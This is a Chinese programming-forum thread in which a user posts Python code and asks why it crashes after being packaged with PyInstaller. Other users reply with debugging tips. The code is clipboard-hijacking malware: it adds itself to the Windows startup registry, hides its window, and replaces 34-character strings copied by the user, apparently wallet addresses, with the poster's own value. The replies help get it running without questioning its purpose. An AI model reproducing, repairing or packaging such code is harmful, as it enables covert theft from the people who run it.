鱼C论坛

 找回密码
 立即注册
查看: 1566|回复: 17

python程序在调试中运行一切正常,打包后就不能运行,直接闪退。

[复制链接]
发表于 2023-4-1 14:57:56 | 显示全部楼层 |阅读模式
1鱼币
代码如下:
import win32clipboard
import win32api
import win32con
import pythoncom
import pyHook

# 替换为你的 11 位数据串
my_data = "***********“

# 存储最后一次剪贴板内容
last_data = ''

# 添加开机自启
def add_to_startup(file_path):
    key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, win32con.KEY_SET_VALUE)
    win32api.RegSetValueEx(key, "My Application", 0, win32con.REG_SZ, file_path)
    win32api.RegCloseKey(key)

# 隐藏窗口
def hide_console():
    import win32console
    import win32gui
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window, win32con.SW_HIDE)

# 创建 hook 监听剪贴板内容改变
def OnClipboardChanged(event):
    global last_data
    # 获取剪贴板内容
    win32clipboard.OpenClipboard()
    data = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()

    # 如果剪贴板内容改变,且是 11 位数字串,则替换为你的数据串并写入剪贴板
    if data != last_data and data.isalnum() and len(data) == 34:
        last_data = data
        win32clipboard.OpenClipboard()
        win32clipboard.EmptyClipboard()
        win32clipboard.SetClipboardText(my_data)
        win32clipboard.CloseClipboard()

    return True

# 设置 hook 监听剪贴板内容改变
def SetClipboardHook():
    hm = pyHook.HookManager()
    hm.KeyDown = OnClipboardChanged
    hm.HookKeyboard()
    pythoncom.PumpMessages()
    win32clipboard.OpenClipboard()
    win32clipboard.CloseClipboard()


# 添加开机自启
add_to_startup(r"C:\path\to\python.exe C:\path\to\your\script.py")

# 隐藏窗口
hide_console()

# 设置 hook 监听剪贴板内容改变
SetClipboardHook()

# 进入消息循环
pythoncom.PumpMessages()


在程序中调试是完全没问题的,但是我一打包EXE就会出问题,程序没法运行,但是也没有任何提示

请问各位老哥 怎么打包 能正常运行,或者这里面是否存在代码的问题。

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 14:59:01 | 显示全部楼层
你先不要用 -w 打包,弹出那个黑窗口你就知道哪里出错了
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-1 15:07:00 | 显示全部楼层
isdkz 发表于 2023-4-1 14:59
你先不要用 -w 打包,弹出那个黑窗口你就知道哪里出错了

应该怎么操作呢 能否讲解一下 大佬
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 15:08:03 | 显示全部楼层
a2236451 发表于 2023-4-1 15:07
应该怎么操作呢 能否讲解一下 大佬

你的打包命令是什么?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-1 15:10:58 | 显示全部楼层
isdkz 发表于 2023-4-1 15:08
你的打包命令是什么?

pyinstaller your_script.py
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 15:13:55 | 显示全部楼层
a2236451 发表于 2023-4-1 15:10
pyinstaller your_script.py

你以管理员权限运行打包后的文件看看,可能是没有权限
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-1 15:15:31 | 显示全部楼层
isdkz 发表于 2023-4-1 15:13
你以管理员权限运行打包后的文件看看,可能是没有权限

测试过了 程序一直处于闪退的状态
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 15:19:28 | 显示全部楼层
a2236451 发表于 2023-4-1 15:15
测试过了 程序一直处于闪退的状态


你打开cmd运行这个程序应该可以看到报错信息,可能是找不到模块
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-1 15:46:20 | 显示全部楼层
isdkz 发表于 2023-4-1 15:19
你打开cmd运行这个程序应该可以看到报错信息,可能是找不到模块

没办法看不到
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 15:49:44 From FishC Mobile | 显示全部楼层
本帖最后由 hrpzcf 于 2023-4-1 15:53 编辑

用调试模式打包先看一下出错信息
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 15:51:36 From FishC Mobile | 显示全部楼层
a2236451 发表于 2023-4-1 15:46
没办法看不到

WIN+R, CMD
CD 找到目录
XXX.exe
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-1 16:07:58 | 显示全部楼层
hrpzcf 发表于 2023-4-1 15:49
用调试模式打包先看一下出错信息

打包了 运行了,但是看不到日志生成在哪里
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-1 16:23:01 From FishC Mobile | 显示全部楼层
a2236451 发表于 2023-4-1 16:07
打包了 运行了,但是看不到日志生成在哪里

加上--debug=all参数打包,打包完后在exe所在目录打开cmd,然后把exe拖到cmd,回车运行就能看到输出信息了
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-1 23:16:23 | 显示全部楼层
hrpzcf 发表于 2023-4-1 16:23
加上--debug=all参数打包,打包完后在exe所在目录打开cmd,然后把exe拖到cmd,回车运行就能看到输出信息 ...

输出信息直接闪退
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-2 06:48:48 From FishC Mobile | 显示全部楼层
a2236451 发表于 2023-4-1 23:16
输出信息直接闪退

你是咋运行的?双击??cmd程式不能双击运行
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-2 11:12:24 From FishC Mobile | 显示全部楼层
a2236451 发表于 2023-4-1 23:16
输出信息直接闪退

先打开cmd,怎么会闪退咧
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-2 20:52:37 | 显示全部楼层
hrpzcf 发表于 2023-4-2 11:12
先打开cmd,怎么会闪退咧

可能他就听不明白在cmd下运行
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-4-2 21:47:12 From FishC Mobile | 显示全部楼层
isdkz 发表于 2023-4-2 20:52
可能他就听不明白在cmd下运行

可能在cmd里运行时程序又打开一个新的控制台了,新控制台是会自己关闭的,不过用调试模式打包不应该出现这种情况的啊
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-3-29 15:31

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表